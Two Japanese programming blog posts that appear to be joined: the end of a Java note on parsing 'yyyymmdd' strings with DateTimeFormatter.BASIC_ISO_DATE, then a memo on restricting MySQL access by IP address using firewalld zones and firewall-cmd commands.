要は、BASIC_ISO_DATEが実現できるのは"yyyymmdd"の形式のフォーマッタを担うことらしい。

```Java:Sample2.java
public class Sample2 {
	
	public static void main (String args[]) {
	
		System.out.println(convertStringToLocalDate("18980401", DateTimeFormatter.BASIC_ISO_DATE));

	}
```
結果はSample.javaと同じになる

```Java:結果
1898-04-01
```

#####その他

初投稿なので投稿自体が不慣れですが、根気よく続けていきたいと思います。
アドバイス、御指摘など大歓迎です
FirewalldでMySQL等サービスをIPアクセス制限する


※ 各サービス自体でも制限できる場合あるがFirewalldでどう対応すればいいかのメモ/恒久化前提です。


### （MySQLを例としてます）

すでに設定済みの場合activeなzoneから削除しておく.

```shell
$ firewall-cmd --zone=public --remove-service=mysql --permanent 
```

zone作成管理しやすくする

```shell
$ firewall-cmd --new-zone=mysql --permanent
```

許可するIPを追加する

```shell
$ firewall-cmd --zone=mysql --add-source=xxx.xxx.xxx.xxx --permanent
```

リロードして設定反映

```shell
$ firewall-cmd --reload
```

設定状況確認

```shell

$ firewall-cmd --get-active-zones

public
  interfaces: eth0
mysql
  sources: xxx.xxx.xxx.xxx
```

ちなみに許可するIPを削除する場合

```shell
$ firewall-cmd --zone=mysql --remove-source=xxx.xxx.xxx.xxx --permanent
```